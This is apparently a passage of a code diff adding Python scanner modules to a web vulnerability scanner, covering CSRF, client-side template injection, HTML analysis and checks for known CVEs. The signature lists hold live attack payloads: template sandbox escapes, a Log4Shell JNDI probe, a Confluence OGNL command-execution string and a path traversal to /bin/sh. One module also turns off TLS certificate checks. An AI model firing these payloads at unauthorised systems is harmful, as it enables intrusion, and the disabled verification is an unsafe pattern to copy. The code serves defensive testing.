+ cookie_name = raw.split("=")[0] if "=" in raw else "unknown"
440
+ self.add_vuln(
441
+ title=f"Cookie '{cookie_name}' Uses SameSite=Lax",
442
+ severity="Low",
443
+ category="CSRF",
444
+ cvss_score=0.0,
445
+ description=f"The cookie `{cookie_name}` uses SameSite=Lax. Lax mode permits cookies on top-level GET navigations, which may still enable certain CSRF attacks (e.g., GET-based state changes). Strict mode is recommended for sensitive operations.",
446
+ evidence=f"Set-Cookie: {raw[:80]}",
447
+ request_details=f"GET {self.target}",
448
+ response_details=f"Set-Cookie: {raw[:80]}",
449
+ confidence="Info",
450
+ remediation="Consider using SameSite=Strict for session cookies on sensitive endpoints to provide stronger CSRF protection.",
451
+ cwe_ids=["CWE-352"],
452
+ owasp_category="A01:2021 – Broken Access Control",
453
+ )
454
+ except Exception as e:
455
+ self.log("DEBUG", f"[CSRF] _test_samesite_lax_vs_strict error: {e}")
456
+
457
+ def _test_csrf_size_anomaly(self):
458
+ if not self._size_detector.has_baseline:
459
+ return
460
+ test_endpoints = self._crawl_forms()
461
+ for form in test_endpoints:
462
+ action = form.get("action") or self.target
463
+ method = form.get("method", "post").upper()
464
+ if method not in ("POST", "PUT", "PATCH", "DELETE"):
465
+ continue
466
+ data = {"test": "csrf_anomaly_check"}
467
+ encoded = urllib.parse.urlencode(data).encode()
468
+ headers = {
469
+ "User-Agent": "LarShield/2.0 CSRF-Probe",
470
+ "Content-Type": "application/x-www-form-urlencoded",
471
+ "Origin": "https://evil.attacker.com",
472
+ }
473
+ headers.update(self.auth_headers or {})
474
+ test_body, test_status = self._make_request(action, method=method, data=encoded, headers=headers, timeout=8)
475
+ if test_body and self._size_detector.test_size(len(test_body)):
476
+ self.log("WARNING",
477
+ f"[CSRF] Size anomaly at {action}: {len(test_body)} bytes "
478
+ f"(z={self._size_detector.z_score(float(len(test_body))):.1f})")
479
+ self._found += 1
480
+ self.add_vuln(
481
+ title=f"CSRF — Response Size Anomaly at '{action}'",
482
+ severity="Medium",
483
+ category="CSRF",
484
+ cvss_score=5.3,
485
+ description=f"The endpoint `{action}` returned an anomalous response size ({len(test_body)} bytes) "
486
+ "when accessed without a valid CSRF token. This may indicate partial CSRF protection that "
487
+ "doesn't fully block forged requests.",
488
+ evidence=f"Response size: {len(test_body)} bytes (z-score anomaly)",
489
+ request_details=f"{method} {action} (without CSRF token)",
490
+ response_details=f"HTTP {test_status}, body length: {len(test_body)}",
491
+ confidence="Medium",
492
+ remediation="Ensure CSRF tokens are validated server-side on all state-changing requests.",
493
+ cwe_ids=["CWE-352"],
494
+ owasp_category="A01:2021 – Broken Access Control",
495
+ )
backend/scanners/csti_scanner.py ADDED
@@ -0,0 +1,186 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ csti_scanner.py — Client-Side Template Injection (CSTI) Scanner
3
+ ===============================================================
4
+ Distinct from SSTI (server-side). CSTI targets AngularJS/Vue sandbox escapes
5
+ that execute entirely in the browser — the server never sees the payload.
6
+ Detects AngularJS ng-app scope, Vue template markers, and reflected template
7
+ expression delimiters in the response.
8
+ """
9
+ import re, urllib.parse
10
+ from scanners.base_scanner import BaseScanner
11
+
12
+ CSTI_PAYLOADS = [
13
+ ("{{7*7}}", "AngularJS template expression — expects 49 in response"),
14
+ ("{{constructor.constructor('7*7')()|toString}}", "AngularJS sandbox escape"),
15
+ ("{{$eval('7*7')}}", "AngularJS $eval injection"),
16
+ ("{{$on.constructor('alert(1)')()}}", "AngularJS sandbox escape v2"),
17
+ ("{{a='constructor';b='alert(1)';a[b]()}}", "AngularJS sandbox escape via constructor"),
18
+ ("{{7*7}}", "Vue.js template expression"),
19
+ ("${7*7}", "ES6 template literal injection"),
20
+ ("{{{7*7}}}", "Handlebars unescaped expression"),
21
+ ("{{_openBlock()}}", "Vue 3 reactivity probe"),
22
+ ("{{_observe}}", "Vue reactivity detection"),
23
+ ("{{__ob__}}", "Vue observer detection"),
24
+ ("{{$parent.$parent.$options}}", "Vue component traversal"),
25
+ ("{{#with 'sse' as |obj|}}{{obj.constructor.constructor('alert(1)')()}}{{/with}}", "Handlebars SSTI escape"),
26
+ ("{{7*7}}", "Generic template expression"),
27
+ ]
28
+
29
+ FRAMEWORK_MARKERS = {
30
+ "angular": ["ng-app", "ng-controller", "ng-model", "angular.js", "angular.min.js",
31
+ "x-ng-", "data-ng-", "@angular/", "angularjs"],
32
+ "vue": ["v-bind", "v-model", "v-for", "v-if", "vue.js", "vue.min.js",
33
+ "Vue.createApp", "createApp(", "@vue/"],
34
+ "react": ["react.js", "react.min.js", "ReactDOM", "data-reactroot"],
35
+ "handlebars": ["handlebars", "Handlebars", "{{", "{{{", "template: Handlebars"],
36
+ }
37
+
38
+
39
+ class CstiScanner(BaseScanner):
40
+ SCANNER_NAME = "Client-Side Template Injection (CSTI) Scanner"
41
+ _SCANNER_KEY = "csti"
42
+
43
+ def __init__(self, scan_id, target, domain, **kwargs):
44
+ super().__init__(scan_id, target, domain, **kwargs)
45
+
46
+ def run(self) -> list:
47
+ self.log("INFO", f"[CSTI] Scanning for client-side template injection on {self.target}...")
48
+ html, status = self._make_request(self.target)
49
+ if html is None:
50
+ self.log("WARNING", f"[CSTI] Error fetching page")
51
+ return self.vulns
52
+
53
+ detected_fw = []
54
+ html_lower = html.lower()
55
+ for fw, markers in FRAMEWORK_MARKERS.items():
56
+ if any(m.lower() in html_lower for m in markers):
57
+ detected_fw.append(fw)
58
+ self.log("INFO", f"[CSTI] Detected framework: {fw}")
59
+
60
+ if not detected_fw:
61
+ self.log("SUCCESS", "[CSTI] No client-side template frameworks detected.")
62
+ return self.vulns
63
+
64
+ parsed = urllib.parse.urlparse(self.target)
65
+ qs = urllib.parse.parse_qsl(parsed.query)
66
+
67
+ tested = False
68
+ for k, v in qs[:3]:
69
+ for payload, desc in CSTI_PAYLOADS:
70
+ injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
71
+ url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
72
+ resp, rstatus = self._make_request(url)
73
+ if resp is None:
74
+ continue
75
+ tested = True
76
+ if "49" in resp and payload in ("{{7*7}}", "${7*7}"):
77
+ self.add_vuln(
78
+ title=f"CSTI Confirmed — Template Expression Evaluated in `{k}`",
79
+ severity="High",
80
+ category="Client-Side Template Injection",
81
+ cvss_score=8.0,
82
+ description=f"Injecting `{payload}` into `{k}` caused the server to "
83
+ f"reflect `49` — confirming the template engine evaluated `7*7`. "
84
+ f"Detected framework(s): {', '.join(detected_fw)}.\n\n"
85
+ "CSTI enables arbitrary JavaScript execution in the victim's browser "
86
+ "via sandbox escape payloads.",
87
+ remediation="1. Never render raw user input inside AngularJS/Vue templates.\n"
88
+ "2. Use Angular's DomSanitizer / Vue's v-text instead of v-html.\n"
89
+ "3. Set Angular's $compileProvider.debugInfoEnabled(false).\n"
90
+ "4. Upgrade to Angular 2+ (no longer uses string-based templates).",
91
+ evidence=f"Parameter `{k}` evaluated `{payload}` to `49` in response",
92
+ payload=payload,
93
+ request_details=f"GET {url}",
94
+ response_details=resp[:500],
95
+ confidence="Confirmed",
96
+ )
97
+ self.log("CRITICAL", f"[CSTI] Expression evaluated in `{k}`!")
98
+ return self.vulns
99
+ elif payload in resp and "{{" in resp:
100
+ self.add_vuln(
101
+ title=f"Template Delimiter Reflected in `{k}` — Possible CSTI",
102
+ severity="Medium",
103
+ category="Client-Side Template Injection",
104
+ cvss_score=5.3,
105
+ description=f"Template payload `{payload}` was reflected back in the "
106
+ f"response. If the page uses {', '.join(detected_fw)}, the browser "
107
+ "may evaluate this as a live template expression.",
108
+ remediation="Sanitize and encode template delimiters ({{ }}) in user output.",
109
+ evidence=f"Payload `{payload}` reflected in response",
110
+ payload=payload,
111
+ confidence="Medium",
112
+ )
113
+
114
+ if detected_fw:
115
+ self.add_vuln(
116
+ title=f"Client-Side Template Framework Detected: {', '.join(fw.title() for fw in detected_fw)}",
117
+ severity="Low",
118
+ category="Client-Side Template Injection",
119
+ cvss_score=0.0,
120
+ description=f"Page uses {', '.join(detected_fw)} — manual CSTI testing recommended "
121
+ "via Burp Suite with payloads: `{{constructor.constructor('alert(1)')()}}` (AngularJS) "
122
+ "or `{{_openBlock()}}` (Vue 3).",
123
+ remediation="Audit all template rendering paths for user-controlled input.",
124
+ confidence="Info",
125
+ )
126
+
127
+ self._test_angular_sandbox_escape(detected_fw, qs, parsed)
128
+ self._test_vue_template_injection(detected_fw, qs, parsed)
129
+
130
+ if not self.vulns:
131
+ self.log("SUCCESS", "[CSTI] No CSTI vulnerabilities detected.")
132
+ return self.vulns
133
+
134
+ def _test_angular_sandbox_escape(self, detected_fw, qs, parsed):
135
+ if "angular" not in detected_fw:
136
+ return
137
+ angular_payloads = [
138
+ "{{constructor.constructor('alert(1)')()}}",
139
+ "{{$on.constructor('alert(1)')()}}",
140
+ "{{a='constructor';b='alert(1)';a[b]()}}",
141
+ ]
142
+ for k, v in qs[:2]:
143
+ for payload in angular_payloads:
144
+ injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
145
+ url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
146
+ resp, status = self._make_request(url)
147
+ if resp and payload[:30] in resp:
148
+ self.add_vuln(
149
+ title=f"Angular Sandbox Escape Possible via `{k}`",
150
+ severity="Critical",
151
+ category="Client-Side Template Injection",
152
+ cvss_score=9.3,
153
+ description=f"Angular sandbox escape payload `{payload[:60]}...` reflected via `{k}`. "
154
+ "If AngularJS evaluates this, arbitrary JS execution is possible.",
155
+ remediation="Upgrade to Angular 2+ or disable string-based template compilation.",
156
+ evidence=f"Angular sandbox escape payload reflected: {payload[:60]}",
157
+ payload=payload,
158
+ confidence="High",
159
+ )
160
+
161
+ def _test_vue_template_injection(self, detected_fw, qs, parsed):
162
+ if "vue" not in detected_fw:
163
+ return
164
+ vue_payloads = [
165
+ "{{_openBlock()}}",
166
+ "{{__ob__}}",
167
+ "{{$parent.$parent.$options}}",
168
+ ]
169
+ for k, v in qs[:2]:
170
+ for payload in vue_payloads:
171
+ injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
172
+ url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
173
+ resp, status = self._make_request(url)
174
+ if resp and payload[:20] in resp:
175
+ self.add_vuln(
176
+ title=f"Vue.js Template Injection Possible via `{k}`",
177
+ severity="High",
178
+ category="Client-Side Template Injection",
179
+ cvss_score=7.5,
180
+ description=f"Vue.js reactivity payload `{payload}` reflected via `{k}`. "
181
+ "May indicate Vue template injection if the expression is evaluated.",
182
+ remediation="Use v-text instead of {{ }} interpolation for user-controlled data.",
183
+ evidence=f"Vue payload reflected: {payload}",
184
+ payload=payload,
185
+ confidence="Medium",
186
+ )
backend/scanners/custom_website_scanner.py ADDED
@@ -0,0 +1,288 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ custom_website_scanner.py — Custom website analysis using Requests + BeautifulSoup.
3
+ Performs deep HTML analysis, form detection, link extraction, and content analysis.
4
+ """
5
+ import requests
6
+ from bs4 import BeautifulSoup
7
+ import urllib.request, ssl
8
+ from scanners.base_scanner import BaseScanner
9
+
10
+ class CustomWebsiteScanner(BaseScanner):
11
+ SCANNER_NAME = "Custom Website Analysis"
12
+
13
+ def run(self):
14
+ self.log("INFO", f"[Custom Analysis] Starting deep website analysis for {self.target}...")
15
+
16
+ ctx = ssl.create_default_context()
17
+ ctx.check_hostname = False
18
+ ctx.verify_mode = ssl.CERT_NONE
19
+
20
+ try:
21
+ headers = {"User-Agent": "LarShield/2.0 (Security Audit Bot)"}
22
+ if self.auth_headers:
23
+ headers.update(self.auth_headers)
24
+
25
+ req = urllib.request.Request(self.target, headers=headers)
26
+ with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:
27
+ html = resp.read().decode('utf-8', errors='ignore')
28
+ response_headers = {k.lower(): v for k, v in resp.getheaders()}
29
+ status = resp.status
30
+
31
+ self.log("SUCCESS", f"[Custom Analysis] Retrieved page: HTTP {status}")
32
+
33
+ # Parse HTML with BeautifulSoup
34
+ soup = BeautifulSoup(html, 'html.parser')
35
+
36
+ # Perform various analyses
37
+ self._analyze_forms(soup)
38
+ self._analyze_links(soup)
39
+ self._analyze_scripts(soup)
40
+ self._analyze_meta_tags(soup)
41
+ self._analyze_comments(soup)
42
+ self._analyze_hidden_inputs(soup)
43
+ self._analyze_external_resources(soup)
44
+
45
+ self.log("SUCCESS", "[Custom Analysis] Website analysis complete.")
46
+
47
+ except urllib.error.HTTPError as e:
48
+ self.log("WARNING", f"[Custom Analysis] HTTP Error {e.code}: {e.reason}")
49
+ except urllib.error.URLError as e:
50
+ self.log("WARNING", f"[Custom Analysis] URL Error: {e.reason}")
51
+ except Exception as e:
52
+ self.log("WARNING", f"[Custom Analysis] Error: {e}")
53
+
54
+ return self.vulns
55
+
56
+ def _analyze_forms(self, soup):
57
+ """Analyze HTML forms for security issues."""
58
+ self.log("INFO", "[Custom Analysis] Analyzing forms...")
59
+
60
+ forms = soup.find_all('form')
61
+
62
+ if not forms:
63
+ self.log("INFO", "[Custom Analysis] No forms found.")
64
+ return
65
+
66
+ self.log("INFO", f"[Custom Analysis] Found {len(forms)} form(s).")
67
+
68
+ for i, form in enumerate(forms[:10]): # Limit to first 10 forms
69
+ form_action = form.get('action', '')
70
+ form_method = form.get('method', 'GET').upper()
71
+
72
+ self.log("INFO", f"[Custom Analysis] Form {i+1}: {form_method} -> {form_action}")
73
+
74
+ # Check for insecure form method
75
+ if form_method == 'GET' and form_action:
76
+ self.log("WARNING", f"[Custom Analysis] Form {i+1} uses GET method for sensitive data")
77
+ self.add_vuln(
78
+ title="Form Uses GET Method for Sensitive Data",
79
+ severity="Medium", category="Form Security", cvss_score=5.3,
80
+ description=f"Form {i+1} on {self.target} uses GET method. Sensitive data in GET requests appears in browser history and server logs.",
81
+ remediation="Change form method to POST for sensitive data handling."
82
+ )
83
+
84
+ # Check for CSRF protection
85
+ has_csrf = False
86
+ for input_field in form.find_all('input'):
87
+ input_name = input_field.get('name', '').lower()
88
+ if 'csrf' in input_name or 'token' in input_name:
89
+ has_csrf = True
90
+ break
91
+
92
+ if not has_csrf and form_method == 'POST':
93
+ self.log("WARNING", f"[Custom Analysis] Form {i+1} may lack CSRF protection")
94
+ self.add_vuln(
95
+ title="Form May Lack CSRF Protection",
96
+ severity="Medium", category="Form Security", cvss_score=5.9,
97
+ description=f"Form {i+1} on {self.target} uses POST method but no CSRF token was detected. This could lead to Cross-Site Request Forgery attacks.",
98
+ remediation="Implement CSRF tokens in all state-changing forms. Use framework-provided CSRF protection."
99
+ )
100
+
101
+ def _analyze_links(self, soup):
102
+ """Analyze links for security issues."""
103
+ self.log("INFO", "[Custom Analysis] Analyzing links...")
104
+
105
+ links = soup.find_all('a', href=True)
106
+
107
+ if not links:
108
+ self.log("INFO", "[Custom Analysis] No links found.")
109
+ return
110
+
111
+ self.log("INFO", f"[Custom Analysis] Found {len(links)} link(s).")
112
+
113
+ # Check for external links
114
+ external_links = []
115
+ for link in links[:50]: # Limit to first 50 links
116
+ href = link['href']
117
+ if href.startswith('http'):
118
+ if self.domain not in href:
119
+ external_links.append(href)
120
+
121
+ if external_links:
122
+ self.log("INFO", f"[Custom Analysis] Found {len(external_links)} external link(s).")
123
+
124
+ # Check for suspicious external links
125
+ suspicious_domains = ['bit.ly', 'tinyurl.com', 'goo.gl', 't.co', 'ow.ly']
126
+ for ext_link in external_links:
127
+ for susp in suspicious_domains:
128
+ if susp in ext_link:
129
+ self.log("WARNING", f"[Custom Analysis] Suspicious shortener link: {ext_link}")
130
+ self.add_vuln(
131
+ title="Suspicious URL Shortener Link",
132
+ severity="Low", category="Content Security", cvss_score=3.1,
133
+ description=f"External link uses URL shortener ({susp}): {ext_link}. This could hide malicious destinations.",
134
+ remediation="Avoid using URL shorteners in production. Use direct links or implement link validation."
135
+ )
136
+
137
+ def _analyze_scripts(self, soup):
138
+ """Analyze JavaScript files for security issues."""
139
+ self.log("INFO", "[Custom Analysis] Analyzing scripts...")
140
+
141
+ scripts = soup.find_all('script')
142
+
143
+ if not scripts:
144
+ self.log("INFO", "[Custom Analysis] No scripts found.")
145
+ return
146
+
147
+ self.log("INFO", f"[Custom Analysis] Found {len(scripts)} script(s).")
148
+
149
+ # Check for inline scripts
150
+ inline_scripts = [s for s in scripts if s.get('src') is None]
151
+
152
+ if inline_scripts:
153
+ self.log("WARNING", f"[Custom Analysis] Found {len(inline_scripts)} inline script(s)")
154
+ self.add_vuln(
155
+ title="Inline JavaScript Detected",
156
+ severity="Medium", category="Content Security", cvss_score=5.3,
157
+ description=f"Found {len(inline_scripts)} inline JavaScript script(s). Inline scripts bypass Content Security Policy and increase XSS risk.",
158
+ remediation="Move all JavaScript to external files and implement a strict Content Security Policy."
159
+ )
160
+
161
+ # Check for external scripts
162
+ external_scripts = [s.get('src') for s in scripts if s.get('src')]
163
+
164
+ if external_scripts:
165
+ self.log("INFO", f"[Custom Analysis] Found {len(external_scripts)} external script(s).")
166
+
167
+ # Check for CDNs
168
+ cdn_domains = ['cdn.jsdelivr.net', 'cdnjs.cloudflare.com', 'ajax.googleapis.com']
169
+ for script in external_scripts:
170
+ for cdn in cdn_domains:
171
+ if cdn in script:
172
+ self.log("INFO", f"[Custom Analysis] CDN script: {script}")
173
+
174
+ def _analyze_meta_tags(self, soup):
175
+ """Analyze meta tags for security issues."""
176
+ self.log("INFO", "[Custom Analysis] Analyzing meta tags...")
177
+
178
+ meta_tags = soup.find_all('meta')
179
+
180
+ if not meta_tags:
181
+ self.log("INFO", "[Custom Analysis] No meta tags found.")
182
+ return
183
+
184
+ self.log("INFO", f"[Custom Analysis] Found {len(meta_tags)} meta tag(s).")
185
+
186
+ # Check for generator meta tag
187
+ generator = soup.find('meta', attrs={'name': 'generator'})
188
+ if generator:
189
+ generator_content = generator.get('content', '')
190
+ self.log("WARNING", f"[Custom Analysis] Generator meta tag: {generator_content}")
191
+ self.add_vuln(
192
+ title="Generator Meta Tag Discloses Technology",
193
+ severity="Low", category="Information Disclosure", cvss_score=3.1,
194
+ description=f"Generator meta tag reveals technology: {generator_content}",
195
+ remediation="Remove generator meta tag to reduce information disclosure."
196
+ )
197
+
198
+ # Check for viewport meta tag
199
+ viewport = soup.find('meta', attrs={'name': 'viewport'})
200
+ if not viewport:
201
+ self.log("INFO", "[Custom Analysis] No viewport meta tag found (accessibility issue).")
202
+
203
+ def _analyze_comments(self, soup):
204
+ """Analyze HTML comments for sensitive information."""
205
+ self.log("INFO", "[Custom Analysis] Analyzing HTML comments...")
206
+
207
+ comments = soup.find_all(string=lambda text: isinstance(text, str) and text.strip().startswith('<!--'))
208
+
209
+ if not comments:
210
+ self.log("INFO", "[Custom Analysis] No HTML comments found.")
211
+ return
212
+
213
+ self.log("INFO", f"[Custom Analysis] Found {len(comments)} comment(s).")
214
+
215
+ # Check for sensitive keywords in comments
216
+ sensitive_keywords = ['password', 'secret', 'api key', 'token', 'debug', 'todo', 'fixme', 'hack']
217
+
218
+ for comment in comments:
219
+ comment_text = comment.strip()
220
+ for keyword in sensitive_keywords:
221
+ if keyword in comment_text.lower():
222
+ self.log("WARNING", f"[Custom Analysis] Sensitive comment: {comment_text[:100]}")
223
+ self.add_vuln(
224
+ title="Sensitive Information in HTML Comments",
225
+ severity="Low", category="Information Disclosure", cvss_score=3.1,
226
+ description=f"HTML comment contains sensitive keyword '{keyword}': {comment_text[:100]}",
227
+ remediation="Remove sensitive information from HTML comments before deployment."
228
+ )
229
+ break
230
+
231
+ def _analyze_hidden_inputs(self, soup):
232
+ """Analyze hidden input fields for sensitive data."""
233
+ self.log("INFO", "[Custom Analysis] Analyzing hidden inputs...")
234
+
235
+ hidden_inputs = soup.find_all('input', type='hidden')
236
+
237
+ if not hidden_inputs:
238
+ self.log("INFO", "[Custom Analysis] No hidden inputs found.")
239
+ return
240
+
241
+ self.log("INFO", f"[Custom Analysis] Found {len(hidden_inputs)} hidden input(s).")
242
+
243
+ for hidden in hidden_inputs[:20]: # Limit to first 20
244
+ name = hidden.get('name', '')
245
+ value = hidden.get('value', '')
246
+
247
+ # Check for sensitive data in hidden fields
248
+ if value and len(value) > 20:
249
+ self.log("WARNING", f"[Custom Analysis] Hidden input with long value: {name}")
250
+ self.add_vuln(
251
+ title="Hidden Input with Long Value",
252
+ severity="Low", category="Form Security", cvss_score=3.1,
253
+ description=f"Hidden input field '{name}' contains a long value. This could contain sensitive data.",
254
+ remediation="Review hidden input fields and ensure they don't contain sensitive information."
255
+ )
256
+
257
+ def _analyze_external_resources(self, soup):
258
+ """Analyze external resources for security issues."""
259
+ self.log("INFO", "[Custom Analysis] Analyzing external resources...")
260
+
261
+ # Check for images
262
+ images = soup.find_all('img', src=True)
263
+ if images:
264
+ self.log("INFO", f"[Custom Analysis] Found {len(images)} image(s).")
265
+
266
+ # Check for data URIs
267
+ data_uri_images = [img for img in images if img['src'].startswith('data:')]
268
+ if data_uri_images:
269
+ self.log("WARNING", f"[Custom Analysis] Found {len(data_uri_images)} data URI image(s)")
270
+
271
+ # Check for iframes
272
+ iframes = soup.find_all('iframe', src=True)
273
+ if iframes:
274
+ self.log("WARNING", f"[Custom Analysis] Found {len(iframes)} iframe(s)")
275
+
276
+ for iframe in iframes[:10]:
277
+ src = iframe.get('src', '')
278
+ self.log("INFO", f"[Custom Analysis] iframe: {src}")
279
+
280
+ # Check for external iframes
281
+ if src.startswith('http') and self.domain not in src:
282
+ self.log("WARNING", f"[Custom Analysis] External iframe: {src}")
283
+ self.add_vuln(
284
+ title="External iframe Detected",
285
+ severity="Medium", category="Content Security", cvss_score=5.3,
286
+ description=f"External iframe detected: {src}. This could lead to clickjacking or content injection attacks.",
287
+ remediation="Review external iframes and ensure they are trusted. Consider using sandbox attribute or CSP frame-ancestors."
288
+ )
backend/scanners/cve_scanner.py ADDED
@@ -0,0 +1,169 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import json
2
+ import urllib.request
3
+ import urllib.error
4
+ import urllib.parse
5
+ import ssl
6
+
7
+ from scanners.base_scanner import BaseScanner
8
+
9
+ CVE_SIGNATURES = [
10
+ {
11
+ "id": "CVE-2021-44228",
12
+ "name": "Log4Shell",
13
+ "severity": "Critical",
14
+ "cvss": 10.0,
15
+ "affected": ["Apache Log4j 2.x < 2.15.0"],
16
+ "probe": {"header": "${jndi:ldap://127.0.0.1/a}", "param": "q"},
17
+ "detect": lambda code, body, headers: code == 500,
18
+ },
19
+ {
20
+ "id": "CVE-2022-22965",
21
+ "name": "Spring4Shell",
22
+ "severity": "Critical",
23
+ "cvss": 9.8,
24
+ "affected": ["Spring Framework 5.3.x < 5.3.18", "5.2.x < 5.2.20"],
25
+ "probe": {
26
+ "param": "class.module.classLoader.URLs%5B0%5D=0",
27
+ },
28
+ "detect": lambda code, body, headers: code == 400,
29
+ },
30
+ {
31
+ "id": "CVE-2022-26134",
32
+ "name": "Confluence OGNL Injection",
33
+ "severity": "Critical",
34
+ "cvss": 9.8,
35
+ "affected": ["Atlassian Confluence Server/DC < 7.18.0"],
36
+ "probe": {
37
+ "path_payload": "%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
38
+ },
39
+ "detect": lambda code, body, headers: "X-Cmd-Response" in headers,
40
+ },
41
+ {
42
+ "id": "CVE-2021-41773",
43
+ "name": "Apache HTTP Server Path Traversal",
44
+ "severity": "High",
45
+ "cvss": 7.5,
46
+ "affected": ["Apache HTTP Server 2.4.49"],
47
+ "probe": {"path": "/cgi-bin/.%2e/%2e%2e/bin/sh"},
48
+ "detect": lambda code, body, headers: code == 200 and "root:" in body,
49
+ },
50
+ {
51
+ "id": "CVE-2021-40438",
52
+ "name": "Apache HTTP Server SSRF",
53
+ "severity": "High",
54
+ "cvss": 8.1,
55
+ "affected": ["Apache HTTP Server 2.4.x < 2.4.49"],
56
+ "probe": {"path": "/?unix:xxx|http://127.0.0.1:80"},
57
+ "detect": lambda code, body, headers: code not in (404, 400),
58
+ },
59
+ {
60
+ "id": "CVE-2020-14750",
61
+ "name": "Oracle WebLogic Authentication Bypass",
62
+ "severity": "Critical",
63
+ "cvss": 9.8,
64
+ "affected": ["Oracle WebLogic 10.3.6", "12.1.3", "12.2.1.3", "12.2.1.4", "14.1.1.0"],
65
+ "probe": {"path": "/console/css/%2e%2e%2fconsole.portal"},
66
+ "detect": lambda code, body, headers: code == 200 and "WebLogic" in body,
67
+ },
68
+ {
69
+ "id": "CVE-2018-7600",
70
+ "name": "Drupalgeddon 2 (RCE)",
71
+ "severity": "Critical",
72
+ "cvss": 9.8,
73
+ "affected": ["Drupal 7.x < 7.58", "8.x < 8.5.1"],
74
+ "probe": {"path": "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"},
75
+ "detect": lambda code, body, headers: "drupal_ajax" in body,
76
+ },
77
+ {
78
+ "id": "CVE-2017-9791",
79
+ "name": "Apache Struts S2-048 (RCE)",
80
+ "severity": "Critical",
81
+ "cvss": 9.8,
82
+ "affected": ["Apache Struts 2.3.x < 2.3.32"],
83
+ "probe": {"path": "/struts2-showcase/integration/saveGangster.action"},
84
+ "detect": lambda code, body, headers: code == 200 and "struts" in body.lower(),
85
+ },
86
+ ]
87
+
88
+
89
+ class CveScanner(BaseScanner):
90
+ SCANNER_NAME = "Known Exploits & CVE Signature Scanner"
91
+
92
+ def __init__(self, scan_id, target, domain, **kwargs):
93
+ super().__init__(scan_id, target, domain, **kwargs)
94
+ self.base_url = target.rstrip("/")
95
+
96
+ def run(self):
97
+ self.log("INFO",
98
+ f"[CVE] Starting signature checks against {len(CVE_SIGNATURES)} CVEs on {self.target}...")
99
+
100
+ try:
101
+ for cve in CVE_SIGNATURES:
102
+ self._check_cve(cve)
103
+ except Exception as e:
104
+ self.log("WARNING", f"[CVE] Error during scan: {e}")
105
+
106
+ self.log(
107
+ "SUCCESS" if not self.vulns else "WARNING",
108
+ f"[CVE] Checks complete. {len(self.vulns)} CVE(s) confirmed.",
109
+ )
110
+ return self.vulns
111
+
112
+ def _check_cve(self, cve: dict):
113
+ probe = cve.get("probe", {})
114
+ detect = cve.get("detect")
115
+ headers = {"User-Agent": "LarShield/2.0 CVE-Scanner"}
116
+
117
+ try:
118
+ path = probe.get("path", "")
119
+ path_payload = probe.get("path_payload", "")
120
+ param = probe.get("param", "")
121
+ header_val = probe.get("header", "")
122
+ query_str = probe.get("param", "")
123
+
124
+ test_url = f"{self.base_url}{path}"
125
+ if path_payload:
126
+ test_url = f"{self.base_url}/{path_payload}"
127
+ if query_str and not path:
128
+ test_url = f"{self.base_url}/?{query_str}"
129
+
130
+ req_headers = dict(headers)
131
+ if header_val:
132
+ req_headers["User-Agent"] = header_val
133
+ req_headers["X-Forwarded-For"] = header_val
134
+ req_headers["Referer"] = header_val
135
+
136
+ ctx = self.get_ssl_context()
137
+ req = urllib.request.Request(test_url, headers=req_headers)
138
+
139
+ try:
140
+ with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:
141
